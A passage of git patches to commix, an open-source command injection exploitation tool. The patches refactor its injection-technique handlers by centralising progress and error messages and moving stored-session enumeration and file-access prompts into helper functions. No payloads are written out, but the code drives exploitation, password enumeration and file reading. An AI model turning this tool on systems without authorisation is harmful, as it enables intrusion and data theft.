@@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ is_encoded = False export_injection_info = False - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + checks.testing_technique_title(injection_type, technique) i = 0 # Calculate all possible combinations @@ -84,11 +80,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() else: i = i + 1 @@ -175,22 +167,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, float_percent) - if float(float_percent) >= 99.9: - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0a4d0836a9..d26d5231ad 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -45,6 +45,7 @@ The "eval-based" injection technique handler. """ def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + shell = False counter = 1 vp_flag = True @@ -55,12 +56,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + checks.testing_technique_title(injection_type, technique) i = 0 # Calculate all possible combinations @@ -81,17 +77,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + checks.testing_technique_title(injection_type, technique) + if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator @@ -187,23 +180,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, float_percent) - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 6fb34663bc..3a933e756a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -141,10 +141,7 @@ def finalize(exit_loops, no_result, float_percent, injection_type, technique): percent = ".. (" + str(float_percent) + "%)" else: percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) return True else: return True @@ -178,6 +175,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) + # checks.testing_technique_title(injection_type, technique) + i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -199,21 +198,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification(url, technique, injection_type) - if technique == "tempfile-based injection technique": + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: #settings.LOAD_SESSION = True tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + checks.testing_technique_title(injection_type, technique) + if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. @@ -303,9 +299,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) if len(shell) == 0 : raise _urllib.error.HTTPError(url, 404, 'Error', {}, None) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 4fc3cfd19f..2692553432 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -72,31 +72,26 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, false_positive_warning = False export_injection_info = False how_long = 0 - injection_type = "semi-blind command injection" - technique = "tempfile-based injection technique" + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED if settings.TIME_RELATIVE_ATTACK == False: - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = None + # Check if defined "--url-reload" option. + if menu.options.url_reload == True: + checks.reload_url_msg(technique) + # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - err_msg = "The '--url-reload' option is not available in " + technique + "!" - print(settings.print_critical_msg(err_msg)) - if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - if settings.VERBOSITY_LEVEL != 0: - info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) - + checks.testing_technique_title(injection_type, technique) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -119,11 +114,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, settings.FOUND_DIFF = how_long - timesec OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() else: num_of_chars = num_of_chars + 1 @@ -251,9 +242,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) # Check if false positive fixation is True. if false_positive_fixation: @@ -299,16 +288,12 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) continue except (KeyboardInterrupt, SystemExit): @@ -335,9 +320,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) else: percent = "" else: @@ -512,9 +495,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.no_readline_module() while True: if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + checks.time_delay_recommendation() false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() @@ -595,8 +576,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): # Check if attack is based on time delays. if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True if tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response) == False: diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 7ed8b3e87f..381e3210f0 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -21,6 +21,7 @@ from src.utils import menu from src.utils import settings from src.utils import common +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -125,11 +126,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell raise SystemExit() except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() """ Export successful applied techniques from session file. @@ -420,12 +417,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - + checks.error_loading_session_file() """ Export valid credentials from session file. diff --git a/src/utils/settings.py b/src/utils/settings.py index ff04c8230d..5f8101d1ce 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -644,6 +644,22 @@ class OS(object): # Available injection techniques. AVAILABLE_TECHNIQUES = ['c','e','t','f'] + +# Supported injection types +class INJECTION_TYPE(object): + RESULTS_BASED_CI = "results-based OS command injection" + RESULTS_BASED_CE = "results-based dynamic code evaluation" + BLIND = "blind OS command injection" + SEMI_BLIND = "semi-blind OS command injection" + +# Supported injection techniques +class INJECTION_TECHNIQUE(object): + CLASSIC = "classic command injection technique" + DYNAMIC_CODE = "dynamic code evaluation technique" + TIME_BASED = "time-based command injection technique" + FILE_BASED = "file-based command injection technique" + TEMP_FILE_BASED = "tempfile-based injection technique" + USER_SUPPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False From d6656b0a6f30b6c07823dfb32997d95eda73806b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 30 May 2024 08:38:14 +0300 Subject: [PATCH 454/560] (More) Code refactoring --- .../techniques/time_based/tb_enumeration.py | 25 +++++++++ .../techniques/time_based/tb_file_access.py | 25 +++++++++ .../blind/techniques/time_based/tb_handler.py | 42 +-------------- src/core/injections/controller/checks.py | 1 + .../techniques/classic/cb_enumeration.py | 28 ++++++++++ .../techniques/classic/cb_file_access.py | 25 +++++++++ .../techniques/classic/cb_handler.py | 45 +--------------- .../techniques/eval_based/eb_enumeration.py | 28 ++++++++++ .../techniques/eval_based/eb_file_access.py | 25 +++++++++ .../techniques/eval_based/eb_handler.py | 23 ++------- .../techniques/file_based/fb_enumeration.py | 32 +++++++++++- .../techniques/file_based/fb_file_access.py | 29 ++++++++++- .../techniques/file_based/fb_handler.py | 51 ++----------------- .../tempfile_based/tfb_enumeration.py | 27 ++++++++++ .../tempfile_based/tfb_file_access.py | 26 ++++++++++ .../techniques/tempfile_based/tfb_handler.py | 46 +---------------- src/utils/settings.py | 2 +- 17 files changed, 282 insertions(+), 198 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index d2334dea29..e549298325 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -18,6 +18,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -263,4 +264,28 @@ def reset(): system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if settings.ENUMERATION_DONE == True: + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + break + elif enumerate_again in settings.CHOICE_NO: + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index e454c8625e..e781aa6293 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -17,6 +17,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -116,4 +117,28 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if settings.FILE_ACCESS_DONE == True: + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 1c48da187a..dbf0a84573 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -384,47 +384,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.LOAD_SESSION = False # Check for any enumeration options. - if settings.ENUMERATION_DONE == True: - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - + tb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - + tb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ca5b915a75..0432ba3281 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -37,6 +37,7 @@ from src.core.convert import hexdecode from socket import error as SocketError from src.core.requests import requests +from src.core.requests import parameters from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 6065f91873..b4f008996f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -17,6 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -297,4 +298,31 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + # Check for any enumeration options. + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 5ccfc114db..c62597478e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -17,6 +17,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -110,4 +111,28 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index e55471d6bc..905eef491c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -257,51 +257,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + cb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + cb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 9a6d91e337..5b90517c13 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -17,6 +17,7 @@ import sys from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -300,4 +301,31 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + # Check for any enumeration options. + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 826c74c86b..0a60b909fe 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -16,6 +16,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -105,4 +106,28 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.FILE_ACCESS_DONE == True : + while 